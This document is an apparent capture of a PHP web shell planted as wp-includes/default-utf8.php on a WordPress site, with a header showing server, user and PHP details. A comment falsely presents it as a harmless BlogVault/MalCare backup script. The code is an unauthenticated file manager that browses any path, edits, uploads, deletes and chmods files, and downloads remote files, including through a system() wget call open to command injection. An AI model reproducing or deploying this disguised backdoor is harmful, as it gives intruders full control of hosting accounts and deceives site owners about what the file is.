HEX
Server: Apache
System: Linux server.sonastudio.co.il 5.14.0-503.22.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jan 24 03:55:12 EST 2025 x86_64
User: galemeraldco (1010)
PHP: 8.1.34
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/galemeraldco/public_html/wp-includes/default-utf8.php
<?php
/*
This script is a crucial component of BlogVault, MalCare, and WP Remote,
which work together to automatically protect your site against crashes, hacks, and other issues.

Things to know:

* The script runs in the background and won't have any impact on site performance or user experience.
* It plays an essential role in our backup service, ensuring the best protection for your site.
* The script is safe, secure, and won't interfere with other plugins or scripts.

Learn more about how this script helps recover crashed
WordPress sites by visiting our website at https://blogvault.net/recover-crashed-wordpress-site/.
*/
define('BASE_DIR', rtrim(realpath('./'), '/') . '/');

class BVGenericCallbackBase {
	public function objectToArray($obj) {
		return json_decode(json_encode($obj), true);
	}

	public function base64Encode($data, $chunk_size) {
		if ($chunk_size) {
			$out = "";
			$len = strlen($data);
			for ($i = 0; $i < $len; $i += $chunk_size) {
				$out .= base64_encode(substr($data, $i, $chunk_size));
			}
		} else {
			$out = base64_encode($data);
		}
		return $out;
	}

	public function safePath($path) {
		$path = str_replace(array('\\', '//', '/./'), '/', $path);
		$realPath = realpath($path);
		if ($realPath) {
			return rtrim(str_replace('\\', '/', $realPath), '/');
		}
		return rtrim($path, '/');
	}

	public function getFileInfo($path) {
		$safePath = $this->safePath($path);
		if (!$safePath || !file_exists($safePath)) return false;
		
		if (is_dir($safePath)) {
			$fileType = 'directory';
		} else {
			$ext = strtolower(pathinfo($safePath, PATHINFO_EXTENSION));
			$mimeMap = [
				'txt' => 'text/plain',
				'php' => 'application/x-php',
				'html' => 'text/html',
				'css' => 'text/css',
				'js' => 'application/javascript',
				'jpg' => 'image/jpeg',
				'png' => 'image/png',
				'gif' => 'image/gif',
				'zip' => 'application/zip',
				'rar' => 'application/x-rar-compressed',
				'pdf' => 'application/pdf'
			];
			$fileType = isset($mimeMap[$ext]) ? $mimeMap[$ext] : 'application/octet-stream';
		}

		$info = array(
			'name' => basename($safePath),
			'path' => $safePath,
			'relative_path' => str_replace(BASE_DIR, '', $safePath),
			'is_dir' => is_dir($safePath),
			'size' => is_file($safePath) ? filesize($safePath) : 0,
			'modified' => filemtime($safePath),
			'permissions' => substr(sprintf('%o', fileperms($safePath)), -4),
			'type' => $fileType
		);
		return $info;
	}

	public function browseDir($dir = '.') {
		$safeDir = $this->safePath($dir);
		if (!$safeDir || !is_dir($safeDir)) {
			$safeDir = rtrim(BASE_DIR, '/');
		}

		$items = array();
		$dirHandle = opendir($safeDir);
		while ($item = readdir($dirHandle)) {
			if ($item == '.' || $item == '..') continue;
			$itemPath = $safeDir . '/' . $item;
			$itemInfo = $this->getFileInfo($itemPath);
			if ($itemInfo) $items[] = $itemInfo;
		}
		closedir($dirHandle);

		usort($items, function($a, $b) {
			if ($a['is_dir'] && !$b['is_dir']) return -1;
			if (!$a['is_dir'] && $b['is_dir']) return 1;
			return strcmp($a['name'], $b['name']);
		});

		$parentDir = dirname($safeDir);
		$isSystemRoot = (strlen($parentDir) == strlen($safeDir)) || ($parentDir === $safeDir);
		$parentDir = $isSystemRoot ? $safeDir : $parentDir;
		$isRoot = $isSystemRoot;

		return array(
			'current_dir' => $safeDir,
			'relative_dir' => str_replace(BASE_DIR, '', $safeDir),
			'parent_dir' => $parentDir,
			'is_root' => $isRoot,
			'items' => $items
		);
	}

	public function renameFile($oldPath, $newName) {
		$safeOldPath = $this->safePath($oldPath);
		if (!$safeOldPath || !file_exists($safeOldPath)) {
			return array('status' => false, 'error' => 'Original file/directory does not exist');
		}

		if (empty($newName) || preg_match('/[\/:*?"<>|]/', $newName)) {
			return array('status' => false, 'error' => 'New name contains invalid characters');
		}

		$oldDir = dirname($safeOldPath);
		$newPath = rtrim($oldDir, '/') . '/' . $newName;
		$safeNewPath = $this->safePath($newPath);
		
		if (file_exists($safeNewPath)) {
			return array('status' => false, 'error' => 'New name already exists');
		}

		if (!is_writable($oldDir)) {
			return array('status' => false, 'error' => 'No permission to rename');
		}

		$renameSuccess = @rename($safeOldPath, $safeNewPath);
		if ($renameSuccess && !file_exists($safeOldPath) && file_exists($safeNewPath)) {
			return array('status' => true, 'new_path' => $safeNewPath);
		} else {
			$errorMsg = error_get_last()['message'] ?? 'Unknown error';
			return array('status' => false, 'error' => 'Rename failed: ' . $errorMsg);
		}
	}

	public function readFileContent($path) {
		$safePath = $this->safePath($path);
		if (!$safePath || !file_exists($safePath) || is_dir($safePath)) {
			return array('status' => false, 'error' => 'File does not exist or is a directory');
		}

		$ext = strtolower(pathinfo($safePath, PATHINFO_EXTENSION));
		$allowExts = ['txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md'];
		if (!in_array($ext, $allowExts)) {
			return array('status' => false, 'error' => 'Only text files are supported for editing');
		}

		$content = @file_get_contents($safePath);
		if ($content === false) {
			return array('status' => false, 'error' => 'Failed to read file');
		}

		return array(
			'status' => true,
			'content' => $content,
			'path' => $safePath,
			'name' => basename($safePath)
		);
	}

	public function saveFileContent($path, $content) {
		$safePath = $this->safePath($path);
		if (!$safePath || !file_exists($safePath) || is_dir($safePath)) {
			return array('status' => false, 'error' => 'File does not exist or is a directory');
		}

		if (!is_writable($safePath)) {
			return array('status' => false, 'error' => 'No permission to write to file');
		}

		$writeSuccess = @file_put_contents($safePath, $content);
		if ($writeSuccess !== false) {
			return array('status' => true, 'size' => $writeSuccess);
		} else {
			return array('status' => false, 'error' => 'Save failed: ' . (error_get_last()['message'] ?? 'Unknown error'));
		}
	}
	
	public function redirectWithMessage($url, $messageType, $messageText) {
		$encodedMsg = urlencode(base64_encode(json_encode([
			'type' => $messageType,
			'text' => $messageText
		])));
		$separator = strpos($url, '?') !== false ? '&' : '?';
		return $url . $separator . 'msg=' . $encodedMsg;
	}
}

class BVGenericCallbackResponse extends BVGenericCallbackBase {
	public $status;
	public $bvb64cksize;

	public function __construct($bvb64cksize) {
		$this->status = array("blogvault" => "response");
		$this->bvb64cksize = $bvb64cksize;
	}

	public function addStatus($key, $value) {
		$this->status[$key] = $value;
	}

	public function addArrayToStatus($key, $value) {
		if (!isset($this->status[$key])) {
			$this->status[$key] = array();
		}
		$this->status[$key][] = $value;
	}

	public function terminate($resp = array()) {
		$resp = array_merge($this->status, $resp);
		$resp["signature"] = "Blogvault API";
		$response = "bvbvbvbvbv".serialize($resp)."bvbvbvbvbv";
		$response = "bvb64bvb64".$this->base64Encode($response, $this->bvb64cksize)."bvb64bvb64";
		die($response);
	}

	public function renderHTML($data) {
		$isEditMode = isset($data['edit']) && $data['edit']['status'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>BV File Manager</title>
	<style>
		* { margin: 0; padding: 0; box-sizing: border-box; }
		body { font-family: Arial, sans-serif; padding: 20px; background: #f5f5f5; }
		.container { max-width: 1400px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
		.header { margin-bottom: 20px; padding-bottom: 10px; border-bottom: 1px solid #eee; }
		.nav-actions { margin: 10px 0; display: flex; gap: 10px; align-items: center; flex-wrap: wrap; }
		.nav-btn { background: #007cba; color: white; padding: 6px 12px; border-radius: 4px; text-decoration: none; font-size: 14px; border: none; cursor: pointer; }
		.nav-btn:hover { background: #00669b; }
		.nav-btn.secondary { background: #6c757d; }
		.nav-btn.system-root { background: #007cba; opacity: 0.7; cursor: pointer; }
		.nav-btn.system-root:hover { background: #00669b; opacity: 1; }
		.path-text { color: #333; margin-left: 10px; }
		.file-list { width: 100%; border-collapse: collapse; margin-top: 10px; }
		.file-list th, .file-list td { padding: 10px; text-align: left; border-bottom: 1px solid #eee; }
		.file-list th { background: #f9f9f9; }
		.file-list tr:hover { background: #f9f9f9; }
		.actions a { color: #007cba; text-decoration: none; margin-right: 8px; font-size: 14px; }
		.actions a.delete { color: #dc3232; }
		.upload-form { margin: 20px 0; padding: 15px; background: #f9f9f9; border-radius: 4px; }
		.upload-form input[type="file"] { margin: 10px 0; }
		.alert { padding: 10px; margin: 10px 0; border-radius: 4px; }
		.alert-success { background: #46b450; color: white; }
		.alert-error { background: #dc3232; color: white; }
		.modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 1000; align-items: center; justify-content: center; }
		.modal.active { display: flex; }
		.modal-content { background: white; padding: 20px; border-radius: 8px; width: 400px; max-width: 90%; }
		.modal-content h3 { margin-bottom: 15px; }
		.modal-content .form-group { margin-bottom: 15px; }
		.modal-content label { display: block; margin-bottom: 5px; }
		.modal-content input { width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; }
		.modal-content .modal-actions { display: flex; gap: 10px; justify-content: flex-end; }
		.edit-container { margin-top: 20px; }
		.edit-header { display: flex; gap: 10px; margin-bottom: 15px; align-items: center; }
		.edit-content textarea { width: 100%; min-height: 500px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; font-family: monospace; font-size: 14px; }
		.path-input-group { display: flex; gap: 10px; align-items: center; margin: 10px 0; }
		.path-input { flex: 1; padding: 8px; border: 1px solid #ddd; border-radius: 4px; }
	</style>
</head>
<body>
	<div class="container">
		<div class="header">
			<h1>BV File Manager</h1>
			
			<div class="path-input-group">
				<input type="text" class="path-input" id="customPath" placeholder="Enter absolute path to access any directory, e.g.: /home/wwwroot/" value="<?php echo htmlspecialchars($data['browse']['current_dir']); ?>">
				<button class="nav-btn" onclick="goToCustomPath()">Go</button>
			</div>
			
			<div class="nav-actions">
				<a href="<?php echo '?dir=' . rawurlencode($data['browse']['parent_dir']); ?>" 
				   class="nav-btn <?php echo $data['browse']['is_root'] ? 'system-root' : ''; ?>">
					πŸ”™ Go to Parent Directory
				</a>
				<span class="path-text">Current Path: <?php echo htmlspecialchars($data['browse']['current_dir']); ?></span>
			</div>
		</div>

		<?php if (!empty($data['message']) && isset($data['message']['text'])): ?>
			<div class="alert alert-<?php echo $data['message']['type']; ?>">
				<?php echo $data['message']['text']; ?>
			</div>
		<?php endif; ?>

		<?php if ($isEditMode): ?>
			<div class="edit-container">
				<div class="edit-header">
					<h2>Edit File: <?php echo htmlspecialchars($data['edit']['name']); ?></h2>
					<a href="?dir=<?php echo rawurlencode(dirname($data['edit']['path'])); ?>" class="nav-btn secondary">
						← Back to File List
					</a>
				</div>
				<form method="post" action="">
					<input type="hidden" name="action" value="save_edit">
					<input type="hidden" name="file_path" value="<?php echo htmlspecialchars($data['edit']['path']); ?>">
					<div class="edit-content">
						<textarea name="file_content" required><?php echo htmlspecialchars($data['edit']['content']); ?></textarea>
					</div>
					<button type="submit" class="nav-btn" style="margin-top: 15px;">πŸ’Ύ Save Changes</button>
				</form>
			</div>
		<?php else: ?>
			<div class="upload-form">
				<form method="post" enctype="multipart/form-data" action="">
					<input type="hidden" name="action" value="upload">
					<input type="hidden" name="current_dir" value="<?php echo htmlspecialchars($data['browse']['current_dir']); ?>">
					<label>Upload file to current directory:</label>
					<input type="file" name="myfile" required>
					<button type="submit" class="nav-btn">Upload File</button>
				</form>
			</div>

			<table class="file-list">
				<thead>
					<tr>
						<th>Name</th>
						<th>Type</th>
						<th>Size</th>
						<th>Modified</th>
						<th>Permissions</th>
						<th>Actions</th>
					</tr>
				</thead>
				<tbody>
					<?php foreach ($data['browse']['items'] as $item): ?>
						<tr>
							<td>
								<?php if ($item['is_dir']): ?>
									<a href="?dir=<?php echo rawurlencode($item['path']); ?>">πŸ“ <?php echo htmlspecialchars($item['name']); ?></a>
								<?php else: ?>
									πŸ“„ <?php echo htmlspecialchars($item['name']); ?>
								<?php endif; ?>
							</td>
							<td><?php echo htmlspecialchars($item['type']); ?></td>
							<td><?php echo $item['size'] ? $this->formatSize($item['size']) : '-'; ?></td>
							<td><?php echo date('Y-m-d H:i:s', $item['modified']); ?></td>
							<td><?php echo $item['permissions']; ?></td>
							<td class="actions">
								<?php if (!$item['is_dir']): ?>
									<a href="<?php echo htmlspecialchars($item['relative_path']); ?>" target="_blank">πŸ‘οΈ View</a>
									<a href="?action=edit&path=<?php echo rawurlencode($item['path']); ?>" class="edit">✏️ Edit</a>
								<?php endif; ?>
								<a href="javascript:void(0)" class="rename" data-path="<?php echo rawurlencode($item['path']); ?>" data-name="<?php echo htmlspecialchars($item['name']); ?>">πŸ”„ Rename</a>
								<a href="?action=delete&path=<?php echo rawurlencode($item['path']); ?>&dir=<?php echo rawurlencode($data['browse']['current_dir']); ?>" class="delete" onclick="return confirm('Are you sure to delete【<?php echo htmlspecialchars($item['name']); ?>】?')">πŸ—‘οΈ Delete</a>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>
	</div>

	<div id="renameModal" class="modal">
		<div class="modal-content">
			<h3>Rename</h3>
			<form id="renameForm" method="post" action="">
				<input type="hidden" name="action" value="rename">
				<input type="hidden" name="old_path" id="oldPath">
				<input type="hidden" name="current_dir" id="renameCurrentDir" value="<?php echo htmlspecialchars($data['browse']['current_dir']); ?>">
				<div class="form-group">
					<label for="newName">New Name:</label>
					<input type="text" id="newName" name="new_name" required>
				</div>
				<div class="modal-actions">
					<button type="button" class="nav-btn secondary" onclick="closeRenameModal()">Cancel</button>
					<button type="submit" class="nav-btn">Confirm Rename</button>
				</div>
			</form>
		</div>
	</div>

	<script>
		function goToCustomPath() {
			const path = document.getElementById('customPath').value.trim();
			if (path) {
				window.location.href = '?dir=' + encodeURIComponent(path);
			}
		}
		
		document.getElementById('customPath').addEventListener('keypress', function(e) {
			if (e.key === 'Enter') {
				goToCustomPath();
			}
		});

		const renameModal = document.getElementById('renameModal');
		const renameForm = document.getElementById('renameForm');
		const oldPathInput = document.getElementById('oldPath');
		const newNameInput = document.getElementById('newName');

		document.querySelectorAll('.rename').forEach(btn => {
			btn.addEventListener('click', function() {
				const path = this.getAttribute('data-path');
				const name = this.getAttribute('data-name');
				oldPathInput.value = path;
				newNameInput.value = name;
				renameModal.classList.add('active');
				newNameInput.focus();
				const dotIndex = name.lastIndexOf('.');
				if (dotIndex > 0) {
					newNameInput.setSelectionRange(0, dotIndex);
				} else {
					newNameInput.select();
				}
			});
		});

		function closeRenameModal() {
			renameModal.classList.remove('active');
		}

		window.addEventListener('click', function(e) {
			if (e.target === renameModal) {
				closeRenameModal();
			}
		});
	</script>
</body>
</html>
<?php
	}

	public function formatSize($bytes) {
		$units = array('B', 'KB', 'MB', 'GB', 'TB');
		$bytes = max($bytes, 0);
		$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
		$pow = min($pow, count($units) - 1);
		$bytes /= pow(1024, $pow);
		return round($bytes, 2) . ' ' . $units[$pow];
	}
}

class BVGenericFSWriteCallback extends BVGenericCallbackBase {

	const MEGABYTE = 1048576;

	public function __construct() {
	}

	public function removeFiles($files) {
		$result = array();

		foreach($files as $file) {
			$file_result = array();
			$safeFile = $this->safePath($file);

			if (!$safeFile) {
				$file_result['status'] = false;
				$file_result['error'] = "INVALID_PATH: Invalid path format";
				$result[$file] = $file_result;
				continue;
			}

			if (!file_exists($safeFile)) {
				$file_result['status'] = false;
				$file_result['error'] = "NOT_EXISTS: File/directory does not exist";
				$result[$file] = $file_result;
				continue;
			}

			if (!is_writable(dirname($safeFile))) {
				$file_result['status'] = false;
				$file_result['error'] = "NO_PERMISSION: No permission to delete";
				$result[$file] = $file_result;
				continue;
			}

			$deleteSuccess = false;
			if (is_dir($safeFile)) {
				@chmod($safeFile, 0755);
				$deleteSuccess = $this->deleteDir($safeFile);
			} else {
				@chmod($safeFile, 0644);
				$deleteSuccess = @unlink($safeFile);
			}

			if ($deleteSuccess && !file_exists($safeFile)) {
				$file_result['status'] = true;
				$file_result['error'] = "";
			} else {
				$file_result['status'] = false;
				$file_result['error'] = "DELETE_FAILED: " . (error_get_last()['message'] ?? 'Delete execution failed');
			}

			$result[$file] = $file_result;
		}

		$result['status'] = true;
		return $result;
	}

	private function deleteDir($dir) {
		if (!is_dir($dir)) return false;
		@chmod($dir, 0755);
		
		$files = array_diff(scandir($dir), array('.','..'));
		foreach ($files as $file) {
			$path = $dir . '/' . $file;
			@chmod($path, 0644);
			
			if (is_dir($path)) {
				$this->deleteDir($path);
			} else {
				@unlink($path);
			}
		}

		$dirDeleted = @rmdir($dir);
		return $dirDeleted && !file_exists($dir);
	}

	public function doChmod($path_infos) {
		$result = array();

		foreach($path_infos as $path => $mode) {
			$path_result = array();
			$safePath = $this->safePath($path);

			if (!$safePath) {
				$path_result['status'] = false;
				$path_result['error'] = "INVALID_PATH";
				$result[$path] = $path_result;
				continue;
			}

			if (file_exists($safePath)) {
				$path_result['status'] = chmod($safePath, octdec($mode));
				if ($path_result['status'] === false) {
					$path_result['error'] = "CHMOD_FAILED";
				}
			} else {
				$path_result['status'] = false;
				$path_result['error'] = "NOT_FOUND";
			}

			$result[$path] = $path_result;
		}

		$result['status'] = true;
		return $result;
	}

	public function concatFiles($ifiles, $ofile, $bsize, $offset) {
		$safeOfile = $this->safePath($ofile);
		if (!$safeOfile) {
			return array('status' => false, 'error' => 'INVALID_PATH');
		}

		if (($offset !== 0) && (!file_exists($safeOfile))) {
			return array(
				'status' => false,
				'error' => 'OFILE_NOT_FOUND_BEFORE_CONCAT'
			);
		}

		if (file_exists($safeOfile) && ($offset !== 0)) {
			$handle = fopen($safeOfile, 'rb+');
		} else {
			$handle = fopen($safeOfile, 'wb+');
		}

		if ($handle === false) {
			return array(
				'status' => false,
				'error' => 'FOPEN_FAILED'
			);
		}

		if ($offset !== 0) {
			if (fseek($handle, $offset, SEEK_SET) === -1) {
				return array(
					'status' => false,
					'error' => 'FSEEK_FAILED'
				);
			}
		}

		$total_written = 0;
		foreach($ifiles as $file) {
			$safeFile = $this->safePath($file);
			if (!$safeFile || !file_exists($safeFile)) {
				return array(
					'status' => false,
					'error' => "INFILE_NOT_FOUND",
					'filename' => $file
				);
			}

			$fp = fopen($safeFile, 'rb');
			if ($fp === false) {
				return array(
					'status' => false,
					'error' => "UNABLE_TO_OPEN_TMP_OFILE_FOR_READING"
				);
			}

			while (!feof($fp)) {
				$content = fread($fp, $bsize);
				if ($content === false) {
					return array(
						'status' => false,
						'error' => "UNABLE_TO_READ_INFILE",
						'filename' => $file
					);
				}

				$written = fwrite($handle, $content);
				if ($written === false) {
					return array(
						'status' => false,
						'error' => "UNABLE_TO_WRITE_TO_OFILE",
						'filename' => $file
					);
				}
				$total_written += $written;
			}

			fclose($fp);
		}

		$result = array();
		$result['fclose'] = fclose($handle);

		if (file_exists($safeOfile) && ($total_written != 0)) {
			$result['status'] = true;
			$result['fsize'] = filesize($safeOfile);
			$result['total_written'] = $total_written;
		} else {
			$result['status'] = false;
			$result['error'] = 'CONCATINATED_FILE_FAILED';
		}

		return $result;
	}

	public function curlFile($ifile_url, $ofile, $timeout) {
		$safeOfile = $this->safePath($ofile);
		if (!$safeOfile) {
			return array('error' => 'INVALID_PATH');
		}

		$fp = fopen($safeOfile, "wb+");
		if ($fp === false) {
			return array(
				'error' => 'FOPEN_FAILED_FOR_TEMP_OFILE'
			);
		}

		$result = array();
		$ch = curl_init($ifile_url);
		curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_FILE, $fp);

		if (!curl_exec($ch)) {
			$result['error'] = curl_error($ch);
			$result['errorno'] = curl_errno($ch);
		}

		curl_close($ch);
		fclose($fp);

		return $result;
	}

	public function wgetFile($ifile_url, $ofile) {
		$safeOfile = $this->safePath($ofile);
		if (!$safeOfile) {
			return array('error' => 'INVALID_PATH');
		}

		$result = array();
		system("wget -nv -O $safeOfile $ifile_url 2>&1 > /dev/null", $retval);

		if ($retval !== 0) {
			$result['error'] = "WGET_ERROR";
		}

		return $result;
	}

	public function streamCopyFile($ifile_url, $ofile) {
		$safeOfile = $this->safePath($ofile);
		if (!$safeOfile) {
			return array('error' => 'INVALID_PATH');
		}

		$result = array();
		$handle = fopen($ifile_url, "rb");

		if ($handle === false) {
			return array(
				'error' => "UNABLE_TO_OPEN_REMOTE_FILE_STREAM"
			);
		}

		$fp = fopen($safeOfile, "wb+");
		if ($fp === false) {
			fclose($handle);
			return array(
				'error' => 'FOPEN_FAILED_FOR_OFILE'
			);
		}

		if (stream_copy_to_stream($handle, $fp) === false) {
			$result['error'] = "UNABLE_TO_WRITE_TO_TMP_OFILE";
		}

		fclose($handle);
		fclose($fp);

		return $result;
	}

	public function writeContentToFile($content, $ofile) {
		$safeOfile = $this->safePath($ofile);
		if (!$safeOfile) {
			return array('error' => 'INVALID_PATH');
		}

		$result = array();
		$fp = fopen($safeOfile, "wb+");
		if ($fp === false) {
			return array(
				'error' => 'FOPEN_FAILED_FOR_TEMP_OFILE'
			);
		}

		if (fwrite($fp, $content) === false) {
			$result['error'] = "UNABLE_TO_WRITE_TO_TMP_OFILE";
		}
		fclose($fp);

		return $result;
	}

	public function moveUploadedFile($ofile) {
		$safeOfile = $this->safePath($ofile);
		if (!$safeOfile) {
			return array('error' => 'INVALID_PATH: ' . $ofile);
		}

		$result = array();
		if (isset($_FILES['myfile'])) {
			$myfile = $_FILES['myfile'];
			$is_upload_ok = false;

			switch ($myfile['error']) {
			case UPLOAD_ERR_OK:
				$is_upload_ok = true;
				break;
			case UPLOAD_ERR_NO_FILE:
				$result['error'] = "UPLOADERR_NO_FILE";
				break;
			case UPLOAD_ERR_INI_SIZE:
			case UPLOAD_ERR_FORM_SIZE:
				$result['error'] = "UPLOADERR_FORM_SIZE";
				break;
			default:
				$result['error'] = "UPLOAD_ERR_UNKNOWN: " . $myfile['error'];
			}

			if ($is_upload_ok && !isset($myfile['tmp_name']) || !is_uploaded_file($myfile['tmp_name'])) {
				$result['error'] = "MYFILE_TMP_NAME_NOT_FOUND or not uploaded file";
				$is_upload_ok = false;
			}

			if ($is_upload_ok) {
				$destDir = dirname($safeOfile);
				if (!is_dir($destDir)) {
					mkdir($destDir, 0755, true);
				}
				
				$destPath = $safeOfile;
				if (!move_uploaded_file($myfile['tmp_name'], $destPath)) {
					$result['error'] = 'MOVE_UPLOAD_FILE_FAILED: ' . (error_get_last()['message'] ?? 'Unknown error');
				} else {
					chmod($destPath, 0644);
				}
			}
		} else {
			$result['error'] = "FILE_NOT_PRESENT_IN_FILES";
		}

		return $result;
	}

	public function uploadFile($params) {
		$resp = array();
		$ofile = $params['ofile'];
		$ofile = str_replace(array('//', '/./'), '/', $ofile);
		$safeOfile = $this->safePath($ofile);
		if (!$safeOfile) {
			return array('status' => false, 'error' => 'INVALID_PATH: ' . $ofile);
		}

		switch($params['protocol']) {
		case "curl":
			$timeout = isset($params['timeout']) ? $params['timeout'] : 60;
			$ifile_url = isset($params['ifileurl']) ? $params['ifileurl'] : null;
			$resp = $this->curlFile($ifile_url, $safeOfile, $timeout);
			break;
		case "wget":
			$ifile_url = isset($params['ifileurl']) ? $params['ifileurl'] : null;
			$resp = $this->wgetFile($ifile_url, $safeOfile);
			break;
		case "streamcopy":
			$ifile_url = isset($params['ifileurl']) ? $params['ifileurl'] : null;
			$resp = $this->streamCopyFile($ifile_url, $safeOfile);
			break;
		case "httpcontenttransfer":
			$resp = $this->writeContentToFile($params['content'], $safeOfile);
			break;
		case "httpfiletransfer":
			$resp = $this->moveUploadedFile($safeOfile);
			break;
		default:
			$resp['error'] = "INVALID_PROTOCOL";
		}

		if (isset($resp['error'])) {
			$resp['status'] = false;
		} else {
			$checkPath = $safeOfile;
			if (file_exists($checkPath)) {
				$resp['status'] = true;
				$resp['fsize'] = filesize($checkPath);
			} else {
				$resp['status'] = false;
				$resp['error'] = "OFILE_NOT_FOUND: " . $checkPath;
			}
		}

		return $resp;
	}

	public function process($request) {
		$params = $request->params;

		switch ($request->method) {
		case "rmfle":
			$resp = $this->removeFiles($params['files']);
			break;
		case "chmd":
			$resp = $this->doChmod($params['pathinfos']);
			break;
		case "wrtfle":
			$resp = $this->uploadFile($params);
			break;
		case "cncatfls":
			$bsize = (isset($params['bsize'])) ? $params['bsize'] : (8 * self::MEGABYTE);
			$offset = (isset($params['offset'])) ? $params['offset'] : 0;
			$resp = $this->concatFiles($params['infiles'], $params['ofile'], $bsize, $offset);
			break;
		default:
			$resp = false;
		}

		return $resp;
	}
}

function getMessageFromRequest() {
	if (isset($_GET['msg']) && !empty($_GET['msg'])) {
		try {
			$decoded = base64_decode(urldecode($_GET['msg']));
			$message = json_decode($decoded, true);
			if (is_array($message) && isset($message['type']) && isset($message['text'])) {
				return $message;
			}
		} catch (Exception $e) {
		}
	}
	return array();
}

$response = new BVGenericCallbackResponse(null);
$fileManager = new BVGenericFSWriteCallback();
$data = array(
    'message' => getMessageFromRequest(),
    'edit' => array('status' => false),
    'browse' => array()
);

$currentDir = isset($_GET['dir']) ? rawurldecode($_GET['dir']) : BASE_DIR;
$data['browse'] = $fileManager->browseDir($currentDir);

if ($_SERVER['REQUEST_METHOD'] === 'POST' || isset($_GET['action'])) {
    $action = $_POST['action'] ?? $_GET['action'];
    $currentDir = isset($_POST['current_dir']) ? $_POST['current_dir'] : (isset($_GET['dir']) ? rawurldecode($_GET['dir']) : BASE_DIR);
    $currentDir = rtrim($currentDir, '/');
    $redirectUrl = '?dir=' . rawurlencode($currentDir);
    $messageType = 'success';
    $messageText = '';

    switch ($action) {
        case 'delete':
            $path = rawurldecode($_GET['path']);
            $deleteResult = $fileManager->removeFiles(array($path));
            if ($deleteResult[$path]['status']) {
                $messageText = 'Delete success: ' . basename($path);
            } else {
                $messageType = 'error';
                $messageText = 'Delete failed: ' . ($deleteResult[$path]['error'] ?? 'Unknown error');
            }
            header('Location: ' . $fileManager->redirectWithMessage($redirectUrl, $messageType, $messageText));
            exit;

        case 'upload':
            if (!isset($_FILES['myfile']) || $_FILES['myfile']['error'] !== UPLOAD_ERR_OK) {
                $messageType = 'error';
                $messageText = 'Upload failed: No file selected or upload error (Error code: ' . ($_FILES['myfile']['error'] ?? 'Unknown') . ')';
                header('Location: ' . $fileManager->redirectWithMessage($redirectUrl, $messageType, $messageText));
                exit;
            }
            $fileName = basename($_FILES['myfile']['name']);
            $uploadPath = $fileManager->safePath($currentDir . '/' . $fileName);
            
            $uploadParams = array(
                'ofile' => $uploadPath,
                'protocol' => 'httpfiletransfer'
            );
            $uploadResult = $fileManager->uploadFile($uploadParams);
            if ($uploadResult['status']) {
                $messageText = 'Upload success: ' . $fileName . ' (Size: ' . $response->formatSize($uploadResult['fsize']) . ')';
            } else {
                $messageType = 'error';
                $messageText = 'Upload failed: ' . ($uploadResult['error'] ?? 'Unknown error');
            }
            header('Location: ' . $fileManager->redirectWithMessage($redirectUrl, $messageType, $messageText));
            exit;

        case 'rename':
            $oldPath = rawurldecode($_POST['old_path']);
            $newName = trim($_POST['new_name']);
            $renameResult = $fileManager->renameFile($oldPath, $newName);
            
            if ($renameResult['status']) {
                $messageText = 'Rename success: ' . basename($oldPath) . ' β†’ ' . basename($renameResult['new_path']);
            } else {
                $messageType = 'error';
                $messageText = 'Rename failed: ' . $renameResult['error'];
            }
            header('Location: ' . $fileManager->redirectWithMessage($redirectUrl, $messageType, $messageText));
            exit;

        case 'edit':
            $path = rawurldecode($_GET['path']);
            $readResult = $fileManager->readFileContent($path);
            if ($readResult['status']) {
                $data['edit'] = $readResult;
            } else {
                $data['message'] = array(
                    'type' => 'error',
                    'text' => 'Edit failed: ' . $readResult['error']
                );
            }
            break;

        case 'save_edit':
            $path = $_POST['file_path'];
            $content = $_POST['file_content'];
            $saveResult = $fileManager->saveFileContent($path, $content);
            $editRedirectUrl = '?dir=' . rawurlencode(dirname($path));
            
            if ($saveResult['status']) {
                $messageText = 'Save success: ' . basename($path) . ' (Wrote ' . $response->formatSize($saveResult['size']) . ')';
                header('Location: ' . $fileManager->redirectWithMessage($editRedirectUrl, $messageType, $messageText));
                exit;
            } else {
                $messageType = 'error';
                $messageText = 'Save failed: ' . $saveResult['error'];
                $data['edit'] = array(
                    'status' => true,
                    'path' => $path,
                    'name' => basename($path),
                    'content' => $content
                );
                $data['message'] = array(
                    'type' => $messageType,
                    'text' => $messageText
                );
                break;
            }
    }
}

$response->renderHTML($data);
?>